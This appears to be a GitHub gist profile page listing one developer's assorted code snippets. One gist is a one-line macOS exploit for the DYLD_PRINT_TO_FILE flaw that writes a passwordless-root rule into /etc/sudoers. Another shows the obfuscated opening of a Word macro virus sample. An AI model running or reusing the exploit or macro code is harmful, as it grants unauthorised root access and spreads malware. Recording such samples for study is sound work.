Skip to content

Instantly share code, notes, and snippets.

View szhu's full-sized avatar

Sean Zhu szhu

  • NYC / SF
  • 10:09 (UTC -04:00)
  • X @sfzhu
View GitHub Profile
@szhu
szhu / README.md
Created July 14, 2015 04:21
edX tasks

edX Tasks

@szhu
szhu / oops.bash
Created July 23, 2015 02:51
DYLD_PRINT_TO_FILE vulerability
# https://twitter.com/nst021/status/623953011325468673
# https://www.sektioneins.de/en/blog/15-07-07-dyld_print_to_file_lpe.html
echo python -c '"import os; os.write(3,\"ALL ALL=(ALL) NOPASSWD: ALL\")"' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp
sudo su
import java.util.*;
class Animal { // implements Comparable<Animal> {
public String name;
public int age;
public Animal(String name, int age) {
this.name = name;
this.age = age;
}
@szhu
szhu / squirrel-update.sh
Created July 28, 2016 22:27
Force Squirrel/ShipIt update
/Applications/WebTorrent.app/Contents/Frameworks/Squirrel.framework/Versions/A/Resources/ShipIt io.webtorrent.webtorrent.ShipIt
#!/bin/bash
verbose() {
echo "$@"
"$@"
}
power-softrestart() {
verbose adb shell "su -c 'killall zygote'"
}
@szhu
szhu / 1. Unobfuscated 11717.doc.vb
Created January 14, 2017 21:46
Word macro virus in received email
Sub AutoOpen()
If (True) Then
If (True) Then
If (False) Then
Else
If (False) Then
Else
Select Case Empty
Case Empty
tyqegexl = False
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Arrays;
import java.util.Collection;
import java.util.HashMap;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
@szhu
szhu / com.interestinglythere.sendtokindle.plist
Last active March 26, 2018 10:33
Small daemon to send documents to your Kindle and eject it every time it's connected
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.interestinglythere.sendtokindle</string>
<key>StartOnMount</key>
<true/>
<key>ProgramArguments</key>
<array>
# Backwards compatibility for fish 2.0.0
not contains source (builtin -n)
and alias source .